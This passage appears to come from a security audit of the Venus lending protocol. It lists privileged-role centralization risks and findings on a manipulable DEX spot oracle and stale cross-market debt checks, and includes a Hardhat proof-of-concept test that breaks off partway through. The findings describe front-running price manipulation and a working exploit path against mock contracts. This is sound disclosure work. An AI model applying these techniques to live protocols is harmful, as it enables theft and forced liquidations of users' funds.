SwapRouter

In the contract `SwapRouter`, the `owner` account has direct authority to call the following functions:

- `sweepToken(IERC20Upgradeable)`
- `sweepNative()`

Any compromise to the `owner` account may allow the hacker to take advantage of this authority and do the following:

- Sweep any ERC-20 balance held by `SwapRouter` (residual or accidental deposits) to the owner address.

- Sweep any native-currency balance held by `SwapRouter` to the owner address.

LeverageStrategiesManager

In the contract `LeverageStrategiesManager`, the `owner` account has authority via the `Ownable2StepUpgradeable` base but no current function uses the `onlyOwner` modifier. The remaining centralisation surface is therefore the proxy admin (out of scope here) that controls the implementation upgrade for this contract.

Any compromise to the proxy admin governing `LeverageStrategiesManager` may allow the hacker to take advantage of this authority and do the following:

- Replace the `LeverageStrategiesManager` implementation with attacker-controlled logic, taking control of every active leverage operation and the delegation grants that users have given to this contract via the Comptroller's `approvedDelegates` mapping.

DeviationSentinel

In the contract `DeviationSentinel`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `setTrustedKeeper(address, bool)`
- `setTokenConfig(address, (uint8, bool))`
- `setTokenMonitoringEnabled(address, bool)`
- `resetMarketState(address)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Add or revoke addresses from the trusted-keeper set, granting `handleDeviation()` authority to attacker-controlled bots.
- Reconfigure the per-token deviation threshold and monitoring flag, including widening the threshold to neuter the sentinel or narrowing it to trigger spurious protections on legitimate price movement.
- Toggle monitoring on or off for any asset, silently disabling the second-source check.
- Reset the cached `MarketState` (paused flags and pre-deviation collateral factors) for any market, which can erase the sentinel's knowledge of an in-progress deviation and cause subsequent restores to baseline against stale or zero values.

In the contract `DeviationSentinel`, the `keeper` role (set by ACM-gated `setTrustedKeeper()`) has direct authority to call the following functions:

- `handleDeviation(IVToken)`

Any compromise to a `keeper` account may allow the hacker to take advantage of this authority and do the following:

- Trigger `handleDeviation()` on any monitored market at any time, applying or removing the sentinel's protective state changes (pause borrow, set CF to zero, pause supply, or their reversals) based on the live deviation reading.

Compromise narrows to "force a pause/unpause cycle on monitored markets at the live deviation reading", limited by what the on-chain check would accept at call time.

SentinelOracle

In the contract `SentinelOracle`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `setTokenOracleConfig(address, address)`
- `setDirectPrice(address, uint256)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Repoint the configured DEX adapter for any token, redirecting `SentinelOracle.getPrice()` to an attacker-controlled adapter that can return fabricated quotes consumed by `DeviationSentinel.checkPriceDeviation()`.
- Set an arbitrary direct USD price for any token via `setDirectPrice()`, bypassing the DEX adapter entirely and dictating what `DeviationSentinel` sees as the second-source price.

PancakeSwapOracle / UniswapOracle

In the contracts `PancakeSwapOracle` and `UniswapOracle`, the role `DEFAULT_ADMIN_ROLE` of the `AccessControlManager` can grant addresses the privilege to call the following functions:

- `setPoolConfig(address, address)`

Any compromise to the `DEFAULT_ADMIN_ROLE` or accounts granted this privilege may allow the hacker to take advantage of this authority and do the following:

- Repoint the V3 pool used to derive the sentinel spot price for any token, including switching to a thin pool that is cheap to manipulate or to a pool whose `token0`/`token1` composition pairs the asset against an attacker-favourable bridge token.

Cross-file or particular centralization points not covered above

These items either span multiple contracts, rely on off-chain trust, or live in relationships rather than in a single ACM/admin/owner-gated function.

- **Diamond cut as catch-all.** `Diamond.diamondCut()` is technically a single admin-gated function (covered above), but its blast radius dwarfs every other lever: it can introduce facets that bypass every individual setter listed in this document. Any analysis of governance compromise must treat `diamondCut()` as the universal solvent — every other centralisation risk is downstream of this one.
- **`pauseGuardian()` and `treasuryGuardian()` as ancillary trusted roles.** `_setPauseGuardian()` and `_setTreasuryData()` (via `ensureAdminOr(treasuryGuardian)`) create role addresses that are neither ACM-granted nor strictly the protocol admin: they have direct authority over specific subsystems (pause flags,

treasury parameters) and are settable by `admin`. The guardian addresses themselves are independent attack targets whose compromise grants narrower but still consequential authority.

- **Pending-admin two-step.** `_setPendingAdmin()` initiates an admin handover; the receiving address must call an `_acceptAdmin()`-style function on the Unitroller. This is normally a safety feature but inverts under compromise: a compromised admin can hand the role to an attacker-controlled address that accepts it atomically, racing legitimate governance response.
- **`Liquidator` as the only whitelisted caller of `liquidateBorrow()`.** The Comptroller's `liquidateBorrowAllowed()` rejects calls from any address other than the configured `liquidatorContract`. The `Liquidator` contract therefore stands between every liquidator and the Venus markets. A compromise of `Liquidator` (or of the admin who set it via `_setLiquidatorContract()`) effectively replaces the protocol's liquidation logic with attacker-controlled logic.
- **`ProtocolShareReserve` recipient as a trust anchor.** Several contracts (`VToken`, `Liquidator`, `VBNBAdmin`) maintain a `protocolShareReserve` address that receives sweeps of accrued reserves and liquidation revenue. The recipient contract is out of scope here but its compromise (or its admin's compromise) drains all auto-routed reserves. Each in-scope contract's `setProtocolShareReserve()` lever is covered above, but the downstream contract is itself a centralisation root.
- **Account delegation (`approvedDelegates`).** Users can authorise other addresses (typically periphery contracts like `LeverageStrategiesManager`) to borrow or redeem on their behalf via `updateDelegate()`. This is user-controlled rather than admin-controlled, but the delegated address is a per-user trust anchor whose compromise can move that user's positions. Particularly relevant when users grant delegation to upgradeable periphery contracts whose admin can replace the implementation.
- **vBNB non-upgradeability + `VBNBAdmin` indirection.** The deployed `vBNB` is not upgradeable. Administrative authority over `vBNB` is exercised by `VBNBAdmin`, which is set as `vBNB`'s admin. The owner of `VBNBAdmin` therefore inherits `vBNB`'s full admin surface via the relay `fallback()`, even though `vBNB` itself has no direct owner setting. This is a structural centralisation that lives in the *relationship* between two contracts rather than in any single function.
- **Storage-layout invariants across diamond cuts and VBep20 implementation swaps.** Whenever `Diamond.diamondCut()` adds or replaces a facet, or `_setImplementation()` swaps a VBep20 implementation, governance is implicitly trusted to preserve storage layout. A botched (or hostile) upgrade can corrupt every user's accounting silently. There is no on-chain enforcement of storage-layout compatibility; the assumption is governance discipline plus auditing of upgrade artefacts.
- **Token-level trust for listed underlyings.** Listed market underlyings are trusted to behave as standard ERC-20. Deflationary, rebasing, fee-on-transfer, callback-on-transfer, and proxy-upgradeable tokens have all caused issues in Compound V2 lineage protocols; governance's discretion in `_supportMarket()` is a centralisation choke point because any market it lists must satisfy these implicit assumptions, which are not checked on-chain.
- **Cross-contract trust between `Comptroller`, `Liquidator`, `VAIController`, `XVSVault`, oracle contracts, and `ProtocolShareReserve`.** Several of these addresses are settable individually (covered above), but the broader assumption that they form a coherent set is a meta-centralisation concern: governance is trusted to configure them consistently. A single setter compromise (e.g., repointing the oracle) cascades through the others' price-dependent logic.
- **Off-chain trust roots (out of scope here, listed for completeness).** The periphery's `backendSigner` (`SwapHelper`) and `DeviationSentinel` keeper role are ACM/owner-gated on-chain but operationally rely on

off-chain services with no on-chain enforcement of their behaviour. They are documented in the periphery review; mentioned here so the picture is complete.

Recommendation

The risk describes the current project design and potentially makes iterations to improve in the security operation and level of decentralization, which in most cases cannot be resolved entirely at the present stage. We advise the client to carefully manage the privileged account's private key to avoid any potential risks of being hacked. In general, we strongly recommend centralized privileges or roles in the protocol be improved via a decentralized mechanism or smart-contract-based accounts with enhanced security practices, e.g., multisignature wallets. Indicatively, here are some feasible suggestions that would also mitigate the potential risk at a different level in terms of short-term, long-term and permanent:

Short Term:

Timelock and Multi sign (⅔, ⅗) combination *mitigate* by delaying the sensitive operation and avoiding a single point of key management failure.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Assignment of privileged roles to multi-signature wallets to prevent a single point of failure due to the private key compromised;
  AND
- A medium/blog link for sharing the timelock contract and multi-signers addresses information with the public audience.

Long Term:

Timelock and DAO, the combination, *mitigate* by applying decentralization and transparency.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Introduction of a DAO/governance/voting module to increase transparency and user involvement.
  AND
- A medium/blog link for sharing the timelock contract, multi-signers addresses, and DAO information with the public audience.

Permanent:

Renouncing the ownership or removing the function can be considered *fully resolved*.

- Renounce the ownership and never claim back the privileged roles.
  OR
- Remove the risky functionality.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

ACM permissions are assigned to specific timelocks based on the required level of control, normal, fast-track, or critical, and a guardian is designated for critical setters. All permission assignments are executed through a VIP and approved via Venus governance, accompanied by a community post to ensure transparency to users. And the default admin role is exclusively owned by the normal timelock only.

VLC-42 Manual Sentinel Price Override Introduces A Significant Governance Trust Assumption

Category	Severity	Location	Status
Design Issue, Governance, Financial Manipulation	Centralization	contracts/DeviationSentinel/Oracles/SentinelOracle.sol (periphery): 76~77, 92~93	Acknowledged

Description

`SentinelOracle.setDirectPrice()` allows a privileged actor to manually override the sentinel-side price for a token, bypassing the configured DEX oracle source. Although this does not directly replace the main `ResilientOracle` price, it does affect the value used by `DeviationSentinel` when deciding whether a deviation exists and whether protective actions should be triggered or lifted. As a result, the function can materially influence pause / unpause outcomes through governance discretion.

The feature may be operationally useful as an emergency tool when a sentinel-side source becomes unreliable, manipulated, or unavailable. However, **it also introduces a meaningful trust assumption**, especially because the permission is managed through the access-control manager rather than being tied to a narrowly scoped hardcoded role. Depending on how broadly this permission is granted, the function may be usable by more actors than operationally necessary.

Recommendation

We kindly request that the client clarify the intended operational use cases for `setDirectPrice()`, in particular, whether it is meant only as a temporary emergency fallback when the sentinel-side source is unavailable or **whether it may also be used during market stress to avoid pausing**. It would also be useful to clarify **who is expected to hold this permission in production**, what governance process surrounds its use, and whether a full market pause is expected to be preferred over manual price override in severe scenarios.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The function is useful in situations where the oracle price becomes invalid, allowing governance to manually set the required price and override the incorrect value. It is also helpful for testing oracle price behavior within the test suite. The permission to execute this function is restricted exclusively to the Timelock and Guardian addresses making the mechanism secure and governance-controlled.

VLC-02 Manipulable DEX Spot Read In SentinelOracle Can Trigger Incorrect Protective Actions On Thin Markets

Category	Severity	Location	Status
Financial Manipulation	Medium	contracts/DeviationSentinel/DeviationSentinel.sol (periphery): 265~266, 311~313; contracts/DeviationSentinel/Oracles/PancakeSwapOracle.sol (periphery): 71~105; contracts/DeviationSentinel/Oracles/UniswapOracle.sol (periphery): 71~105, 103~104	Acknowledged

Description

`UniswapOracle.getPrice()` and `PancakeSwapOracle.getPrice()` read `slot0().sqrtPriceX96` directly, with no TWAP, observation-cardinality check, liquidity floor, or age check. `SentinelOracle.getPrice()` forwards this value unchanged, and `DeviationSentinel.checkPriceDeviation()` consumes it at execution time without confirmation count or rate-limit before applying protective actions. A trader who can move a thin pool can therefore cause `handleDeviation()` to fire on a transient, single-block manipulation that lands while the keeper transaction is in flight.

The two protective branches are asymmetric in consequence.

1. Branch A (`sentinelPrice > oraclePrice` → `pauseBorrow()`) is pure **denial-of-service**: an attacker pays the manipulation cost to block new borrows of asset X with no profit primitive.
2. Branch B (`sentinelPrice < oraclePrice` → `setCollateralFactorToZero(X)` + `pauseSupply(X)`) **can create forced liquidation opportunities**: zeroing X's collateral factor instantly removes the borrowing power of positions using X as collateral and can push borderline borrowers into a liquidatable state even though `RESILIENT_ORACLE`-derived prices have not moved. The attacker, acting as a permissionless liquidator, can capture liquidation bonuses on affected positions before the next keeper call restores the collateral factor. The protective state is reversible; liquidations executed during that window are not. An attacker may also repeatedly manipulate the pool around subsequent keeper executions to prolong the restricted state and increase liquidation opportunities.

The on-chain contract relies entirely on keeper-side off-chain logic to neutralize this attack. These mitigations are not visible in the audited contracts, and the attack is reachable as written if the keeper acts on raw deviation.

Scenario

We assume:

1. A keeper is about to call `handleDeviation(market)` for an asset monitored by `DeviationSentinel`.
2. An attacker observes the pending keeper transaction and temporarily manipulates the configured Uniswap/PancakeSwap pool spot price by front-running the valid `handleDeviation(market)` transaction initiated by the keeper.

3. When the keeper transaction executes, `handleDeviation()` reads the manipulated live DEX price through `SENTINEL_ORACLE.getPrice()`.
4. The contract sees a deviation above threshold and applies a protective action based on the manipulated price:

- if the DEX price is pushed up, borrowing is paused → **Griefing**
- if the DEX price is pushed down, supply is paused and collateral factor is set to `0` → **Users become liquidable → Possible liquidation cascade trigger**

5. The market is restricted even though the primary `RESILIENT_ORACLE` price was correct and the DEX move was only temporary.

Recommendation

We recommend that the client harden the on-chain second source so the trigger cannot be driven by a single-block manipulation. Options in increasing invasiveness include:

1. Add a minimum pool liquidity and observation-cardinality check in the DEX adapter;
2. Require `handleDeviation()` to observe the deviation across N consecutive calls or blocks before applying Branch B;
3. Replace the `slot0()` read with a `pool.observe(secondsAgos)` TWAP over a 30-300 second window, accepting slower detection of real production-oracle failures in exchange for manipulation resistance.

The keeper's off-chain checks remain a useful additional layer but should not be the protocol's sole defense.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The monitoring service does not validate and execute the deviation trigger within the same block. The trigger is validated and executed only after the block has been processed, typically with a delay of a few seconds. Because of this, triggering it reliably through a flash loan attack is highly unlikely. Regarding the liquidation concern, Venus liquidations are based on liquidation threshold checks rather than collateral factor changes. Setting the collateral factor to 0 only prevents new borrows against that collateral and does not directly make existing positions liquidatable.

VLC-03 Cross-Market Solvency Checks Use Stale Debt From Untouched Markets

Category	Severity	Location	Status
Design Issue, Logical Issue	Medium	contracts/Comptroller/Diamond/facets/MarketFacet.sol (core 3c4d06f): 247~264; contracts/Comptroller/Diamond/facets/PolicyFacet.sol (core 3c4d06f): 112~160; contracts/Lens/ComptrollerLens.sol (core 3c4d06f): 218~295	Acknowledged

Description

The protocol performs cross-market solvency checks by reading per-market account snapshots without first accruing every market in the user's portfolio. If a user has debt in an untouched market whose borrow index has not been updated recently, the stale borrow index can cause that debt to be understated during solvency checks triggered from another market.

This creates a stale cross-market accounting gap. A user's stored debt in one market can appear lower than their true live debt while they interact with another market. In that state, the protocol may approve actions against stale liabilities that fresh accounting would have rejected. Users may therefore be able to exit a collateral market, redeem collateral, or borrow additional assets even though their fully updated portfolio state would no longer support that action.

The `staleCrossMarketExit.ts` PoC test file demonstrates two concrete outcomes. In the first case, stale debt in an untouched market allows a user to exit a collateral market and redeem its full underlying value, after which the account becomes underwater once the untouched debt market is finally accrued. In the second case, stale debt allows an attacker to extract additional borrowing from another market that fresh accounting would have denied. In a modeled stressed-market setup, that additional borrowing leaves the borrowed market with reduced cash and is followed by enough further debt growth to push a borderline borrower into shortfall, enabling profitable liquidation. The PoC therefore captures both the direct authorization gap and a plausible downstream path where stale-accounting-enabled excess borrowing worsens market conditions and reduces the safety buffer for other users.

Overall, important cross-market solvency decisions are made from stored state rather than fully fresh state. This can let users remove collateral or extract additional assets before their actual liabilities are fully reflected, increasing the chance of bad debt and leaving less collateral available once the true account health is eventually realized. Since the same accounting pattern may be reused across other protocol flows, additional exploit scenarios may exist wherever stale liabilities are accepted as sufficient input for solvency-sensitive decisions.

Scenario

We assume:

1. A user has debt in market `A`, and that market has not been accrued for some time.
2. Because market `A` is untouched, the user's stored debt there is lower than the user's true live debt.
3. The same user interacts with another market, such as exiting a collateral market or borrowing from market `B`.
4. Venus evaluates the action using cross-market stored snapshots and observes the stale lower debt from market `A`.

5. The action is allowed even though fresh accounting across the full portfolio would have rejected it.
6. The user removes collateral or extracts additional borrowed assets.
7. Once the untouched debt market is eventually accrued, the account's true health is revealed and the protocol may be left with reduced collateral coverage, bad debt, or worsened market conditions.

Proof of Concept

PoC Test: The proof-of-concept test is implemented under `./tests/hardhat/PoC/staleCrossMarketExit.ts`.

```
import { loadFixture, mine } from "@nomicfoundation/hardhat-network-helpers";
import { expect } from "chai";
import { parseUnits } from "ethers/lib/utils";
import { ethers } from "hardhat";
import type { BigNumberish } from "ethers";

import { ComptrollerErrorReporter } from "../util/Errors";
import {
  deployComptroller,
  deployComptrollerLens,
  deployFakeAccessControlManager,
  deployFakeOracle,
  deployInterestRateModelHarness,
  deployMockToken,
  deployVToken,
} from "../fixtures/ComptrollerWithMarkets";
import { ComptrollerMock, VBep20Harness } from "../../../typechain";
import { FaucetToken } from "../../../typechain";

const one = parseUnits("1", 18);
const collateralFactor = parseUnits("0.8", 18);
const touchedCollateralTokens = parseUnits("10000", 18);
const remainingCollateralTokens = parseUnits("5000", 18);
const staleDebtPrincipal = parseUnits("3900", 18);
const maxBorrowRateMantissa = ethers.BigNumber.from("5000000000000"); // 0.0005e16
const staleBlockDelta = 10000;

type Fixture = {
  comptroller: ComptrollerMock;
  touchedUnderlying: FaucetToken;
  vTouched: VBep20Harness;
  vRemaining: VBep20Harness;
  vDebt: VBep20Harness;
  user: string;
};

const formatAmount = (value: BigNumberish) => ethers.utils.formatUnits(value, 18);

function logScenarioHeader(title: string) {
  console.log(`\n=== ${title} / PARAMETERS ===`);
  console.log("Collateral factor used for vTouched and vRemaining:",
formatAmount(collateralFactor));
  console.log("Initial vTouched collateral counted by Comptroller:",
formatAmount(touchedCollateralTokens));
  console.log("Initial vRemaining collateral counted by Comptroller:",
formatAmount(remainingCollateralTokens));
  console.log("Initial stale vDebt borrow balance:",
formatAmount(staleDebtPrincipal));
```

```
  console.log("Blocks mined before first solvency check:",
staleBlockDelta.toString());
}

function logScenarioState({
  title,
  touchedBalance,
  remainingBalance,
  debtBalance,
  liquidity,
  shortfall,
  redeemAllowed,
  exitCode,
}: {
  title: string;
  touchedBalance: BigNumberish;
  remainingBalance: BigNumberish;
  debtBalance: BigNumberish;
  liquidity: BigNumberish;
  shortfall: BigNumberish;
  redeemAllowed?: BigNumberish;
  exitCode?: BigNumberish;
}) {
  console.log(`\n=== ${title} ===`);
  console.log("vTouched collateral balance:", formatAmount(touchedBalance));
  console.log("vRemaining collateral balance:", formatAmount(remainingBalance));
  console.log("vDebt stored borrow balance:", formatAmount(debtBalance));
  console.log("Hypothetical liquidity after removing all vTouched collateral:",
formatAmount(liquidity));
  console.log("Hypothetical shortfall after removing all vTouched collateral:",
formatAmount(shortfall));
  if (redeemAllowed !== undefined) {
    console.log("Comptroller.redeemAllowed(vTouched, user, fullBalance):",
redeemAllowed.toString());
  }
  if (exitCode !== undefined) {
    console.log("Comptroller.exitMarket(vTouched) return code:",
exitCode.toString());
  }
}

function logAssetMembership({
  assetsIn,
  vTouched,
  vRemaining,
  vDebt,
}: {
  assetsIn: string[];
  vTouched: string;
  vRemaining: string;
```

```
  vDebt: string;
}) {
  const lowered = assetsIn.map(a => a.toLowerCase());
  console.log("Comptroller.getAssetsIn(user) after exitMarket(vTouched):");
  console.log("Legend: IN = still counted in the account portfolio for cross-market
checks, OUT = removed from account membership.");
  console.log(
    `- vTouched   (${vTouched}): ${lowered.includes(vTouched.toLowerCase()) ? "IN" :
"OUT"}  -> ${
      lowered.includes(vTouched.toLowerCase())
        ? "still counted as collateral in cross-market liquidity checks"
        : "removed from collateral membership and no longer counted as collateral"
    }`,
  );
  console.log(
    `- vRemaining (${vRemaining}): ${lowered.includes(vRemaining.toLowerCase()) ?
"IN" : "OUT"}  -> ${
      lowered.includes(vRemaining.toLowerCase())
        ? "still counted as collateral in cross-market liquidity checks"
        : "not counted as collateral"
    }`,
  );
  console.log(
    `- vDebt      (${vDebt}): ${lowered.includes(vDebt.toLowerCase()) ? "IN" :
"OUT"}  -> ${
      lowered.includes(vDebt.toLowerCase())
        ? "still included in the cross-market portfolio that should support the
debt"
        : "not included in the account portfolio"
    }`,
  );
}

async function staleCrossMarketExitFixture(): Promise<Fixture> {
  const [, userSigner] = await ethers.getSigners();
  const user = await userSigner.getAddress();

  const accessControlManager = await deployFakeAccessControlManager();
  const oracle = await deployFakeOracle();
  const comptrollerLens = await deployComptrollerLens();
  const comptroller = await deployComptroller({
    accessControlManager,
    oracle,
    comptrollerLens,
  });

  const interestRateModel = await deployInterestRateModelHarness();
  await interestRateModel.setBorrowRate(maxBorrowRateMantissa);

  const touchedUnderlying = await deployMockToken({ symbol: "TCH" });
```

```
  const remainingUnderlying = await deployMockToken({ symbol: "REM" });
  const debtUnderlying = await deployMockToken({ symbol: "DEBT" });

  const vTouched = await deployVToken({
    underlying: touchedUnderlying,
    comptroller,
    accessControlManager,
    interestRateModel,
    name: "vTouched",
    symbol: "vTCH",
  });
  const vRemaining = await deployVToken({
    underlying: remainingUnderlying,
    comptroller,
    accessControlManager,
    interestRateModel,
    name: "vRemaining",
    symbol: "vREM",
  });
  const vDebt = await deployVToken({
    underlying: debtUnderlying,
    comptroller,
    accessControlManager,
    interestRateModel,
    name: "vDebt",
    symbol: "vDEBT",
  });

  await comptroller._supportMarket(vTouched.address);
  await comptroller._supportMarket(vRemaining.address);
  await comptroller._supportMarket(vDebt.address);

  oracle.getUnderlyingPrice.returns(one);

  await comptroller["setCollateralFactor(address,uint256,uint256)"]
(vTouched.address, collateralFactor, collateralFactor);
  await comptroller["setCollateralFactor(address,uint256,uint256)"]
(vRemaining.address, collateralFactor, collateralFactor);
  await comptroller["setCollateralFactor(address,uint256,uint256)"](vDebt.address,
0, 0);

  await comptroller.connect(userSigner).enterMarkets([vTouched.address,
vRemaining.address, vDebt.address]);

  await vTouched.harnessSetBalance(user, touchedCollateralTokens);
  await vTouched.harnessSetTotalSupply(touchedCollateralTokens);
  await vTouched.harnessSetExchangeRate(one);
  await touchedUnderlying.transfer(vTouched.address, touchedCollateralTokens);
  await vTouched.harnessSetInternalCash(touchedCollateralTokens);
```

```
  await vRemaining.harnessSetBalance(user, remainingCollateralTokens);
  await vRemaining.harnessSetTotalSupply(remainingCollateralTokens);
  await vRemaining.harnessSetExchangeRate(one);

  await vDebt.harnessSetExchangeRate(one);
  await vDebt.harnessSetBorrowIndex(one);
  await vDebt.harnessSetAccountBorrows(user, staleDebtPrincipal, one);
  await vDebt.harnessSetTotalBorrows(staleDebtPrincipal);
  await vDebt.harnessSetTotalReserves(0);
  await vDebt.harnessSetInternalCash(parseUnits("1000", 18));
  const currentBlock = await ethers.provider.getBlockNumber();
  await vDebt.harnessSetAccrualBlockNumber(currentBlock);

  return {
    comptroller,
    touchedUnderlying,
    vTouched,
    vRemaining,
    vDebt,
    user,
  };
}

describe("PoC: stale cross-market solvency gaps", () => {
  it("CASE 1: stale cross-market debt lets a user exit a collateral market and
withdraw value that fresh accounting would have blocked", async () => {
    const [_, userSigner] = await ethers.getSigners();
    const { comptroller, touchedUnderlying, vTouched, vRemaining, vDebt, user } =
await loadFixture(
      staleCrossMarketExitFixture,
    );

    logScenarioHeader("CASE 1");
    await mine(staleBlockDelta);

    const touchedBalanceBeforeExit = await vTouched.balanceOf(user);
    const remainingBalanceBeforeExit = await vRemaining.balanceOf(user);
    const debtBeforeExit = await vDebt.borrowBalanceStored(user);
    const [errBefore, liquidityBefore, shortfallBefore] = await
comptroller.getHypotheticalAccountLiquidity(
      user,
      vTouched.address,
      touchedCollateralTokens,
      0,
    );
    const redeemAllowedBefore = await
comptroller.callStatic.redeemAllowed(vTouched.address, user,
touchedCollateralTokens);
    const exitCodeBefore = await
comptroller.connect(userSigner).callStatic.exitMarket(vTouched.address);
```

```
    logScenarioState({
      title: "CASE 1 / STATE 1: stale cross-market debt makes exitMarket and full
redemption look safe",
      touchedBalance: touchedBalanceBeforeExit,
      remainingBalance: remainingBalanceBeforeExit,
      debtBalance: debtBeforeExit,
      liquidity: liquidityBefore,
      shortfall: shortfallBefore,
      redeemAllowed: redeemAllowedBefore,
      exitCode: exitCodeBefore,
    });
    expect(errBefore).to.equal(ComptrollerErrorReporter.Error.NO_ERROR);
    expect(exitCodeBefore).to.equal(ComptrollerErrorReporter.Error.NO_ERROR);

    await comptroller.connect(userSigner).exitMarket(vTouched.address);

    const assetsAfterExit = await comptroller.getAssetsIn(user);
    const touchedBalanceAfterExit = await vTouched.balanceOf(user);
    const remainingBalanceAfterExit = await vRemaining.balanceOf(user);

    console.log("\n=== CASE 1 / STATE 2: exitMarket(vTouched) succeeds while the
untouched debt market is still stale ===");
    console.log("Action completed in this state:
Comptroller.exitMarket(vTouched).");
    console.log("No collateral has been redeemed yet. This state only changes
whether vTouched is counted as collateral.");
    logAssetMembership({
      assetsIn: assetsAfterExit,
      vTouched: vTouched.address,
      vRemaining: vRemaining.address,
      vDebt: vDebt.address,
    });
    console.log("vTouched balance still held by user:",
formatAmount(touchedBalanceAfterExit));
    console.log("vRemaining balance still held by user:",
formatAmount(remainingBalanceAfterExit));
    console.log(
      "Meaning: the user still owns the full vTouched position, but Venus no longer
treats vTouched as collateral in portfolio solvency checks.",
    );
    console.log(
      "As a result: the larger collateral position is now outside the collateral
set, while only the smaller remaining collateral position is still supporting the
debt.",
    );

    expect(assetsAfterExit).to.not.include(vTouched.address);
    expect(assetsAfterExit).to.include(vRemaining.address);
    expect(assetsAfterExit).to.include(vDebt.address);
```

```
    const userUnderlyingBeforeRedeem = await touchedUnderlying.balanceOf(user);
    const redeemResult = await
vTouched.connect(userSigner).callStatic.redeem(touchedBalanceAfterExit);
    expect(redeemResult).to.equal(0);
    await vTouched.connect(userSigner).redeem(touchedBalanceAfterExit);
    const userUnderlyingAfterRedeem = await touchedUnderlying.balanceOf(user);
    const vTouchedCashAfterRedeem = await vTouched.getCash();

    console.log("\n=== CASE 1 / STATE 3: after the stale-approved exit, the user
withdraws the full vTouched collateral ===");
    console.log("Action completed in this state: vTouched.redeem(fullBalance).");
    console.log(
      "Underlying extracted by the user after exitMarket:",
      formatAmount(userUnderlyingAfterRedeem.sub(userUnderlyingBeforeRedeem)),
    );
    console.log("vTouched market cash after redeem:",
formatAmount(vTouchedCashAfterRedeem));
    console.log(
      "Meaning: the unlocked vTouched position has now been converted into
underlying and removed from the market.",
    );


expect(userUnderlyingAfterRedeem.sub(userUnderlyingBeforeRedeem)).to.equal(touchedCo
llateralTokens);
    expect(vTouchedCashAfterRedeem).to.equal(0);

    await vDebt.accrueInterest();

    const accruedDebt = await vDebt.borrowBalanceStored(user);
    const [errAfterAccrue, liquidityAfterAccrue, shortfallAfterAccrue] = await
comptroller.getHypotheticalAccountLiquidity(
      user,
      vRemaining.address,
      0,
      0,
    );

    console.log(
      "\n=== CASE 1 / STATE 4: once vDebt is finally accrued, the earlier exit and
redeem leave the account underwater ===",
    );
    console.log("Action completed in this state: vDebt.accrueInterest().");
    console.log("Comptroller.getHypotheticalAccountLiquidity(user, vRemaining, 0,
0): err =", errAfterAccrue.toString());
    console.log("vDebt stored borrow balance:", formatAmount(accruedDebt));
    console.log("Remaining collateral-only liquidity:",
formatAmount(liquidityAfterAccrue));
    console.log("Resulting shortfall after the earlier exit:",
formatAmount(shortfallAfterAccrue));
```

```
    console.log(
      "Conclusion: stale cross-market debt let the user remove a collateral market
from membership and withdraw its full underlying value. Once the untouched debt
market is finally accrued, the account is revealed to be underwater.",
    );

    expect(errAfterAccrue).to.equal(ComptrollerErrorReporter.Error.NO_ERROR);
    expect(shortfallAfterAccrue).to.be.gt(0);
    expect(shortfallAfterAccrue).to.be.gt(parseUnits("50", 18));
  });

  it("CASE 2: stale cross-market debt enables an extra borrow, then a stressed
borrowed market creates a profitable liquidation", async () => {
    const [, attacker, victim, liquidator] = await ethers.getSigners();

    const accessControlManager = await deployFakeAccessControlManager();
    const oracle = await deployFakeOracle();
    const comptrollerLens = await deployComptrollerLens();
    const comptroller = await deployComptroller({
      accessControlManager,
      oracle,
      comptrollerLens,
    });

    const lowRateModel = await deployInterestRateModelHarness();
    const staleDebtAccrualModel = await deployInterestRateModelHarness();
    const stressedRateModel = await deployInterestRateModelHarness();
    await lowRateModel.setBorrowRate(0);
    await staleDebtAccrualModel.setBorrowRate(maxBorrowRateMantissa);
    await stressedRateModel.setBorrowRate(maxBorrowRateMantissa);

    const staleDebtUnderlying = await deployMockToken({ symbol: "STALE" });
    const attackerCollateralUnderlying = await deployMockToken({ symbol: "ATKC" });
    const borrowMarketUnderlying = await deployMockToken({ symbol: "BUSD",
initialSupply: parseUnits("2000000", 18) });
    const victimCollateralUnderlying = await deployMockToken({ symbol: "VCTM" });

    const vStaleDebt = await deployVToken({
      underlying: staleDebtUnderlying,
      comptroller,
      accessControlManager,
      interestRateModel: staleDebtAccrualModel,
      name: "vStaleDebt",
      symbol: "vSTALE",
    });
    const vAttackerCollateral = await deployVToken({
      underlying: attackerCollateralUnderlying,
      comptroller,
      accessControlManager,
```

```
      interestRateModel: lowRateModel,
      name: "vAttackerCollateral",
      symbol: "vATKC",
    });
    const vBorrowMarket = await deployVToken({
      underlying: borrowMarketUnderlying,
      comptroller,
      accessControlManager,
      interestRateModel: lowRateModel,
      name: "vBorrowMarket",
      symbol: "vBUSD",
    });
    const vVictimCollateral = await deployVToken({
      underlying: victimCollateralUnderlying,
      comptroller,
      accessControlManager,
      interestRateModel: lowRateModel,
      name: "vVictimCollateral",
      symbol: "vVCTM",
    });

    for (const market of [vStaleDebt, vAttackerCollateral, vBorrowMarket,
vVictimCollateral]) {
      await comptroller._supportMarket(market.address);
      await market.harnessSetExchangeRate(one);
    }

    oracle.getUnderlyingPrice.returns(one);

    await comptroller["setCollateralFactor(address,uint256,uint256)"](
      vAttackerCollateral.address,
      collateralFactor,
      collateralFactor,
    );
    await comptroller["setCollateralFactor(address,uint256,uint256)"](
      vVictimCollateral.address,
      collateralFactor,
      collateralFactor,
    );
    await comptroller["setCollateralFactor(address,uint256,uint256)"]
(vStaleDebt.address, 0, 0);
    await comptroller["setCollateralFactor(address,uint256,uint256)"]
(vBorrowMarket.address, 0, 0);
    await comptroller["setLiquidationIncentive(address,uint256)"]
(vBorrowMarket.address, parseUnits("1.1", 18));
    await comptroller["setLiquidationIncentive(address,uint256)"]
(vVictimCollateral.address, parseUnits("1.1", 18));
    await comptroller.setIsBorrowAllowed(0, vStaleDebt.address, true);
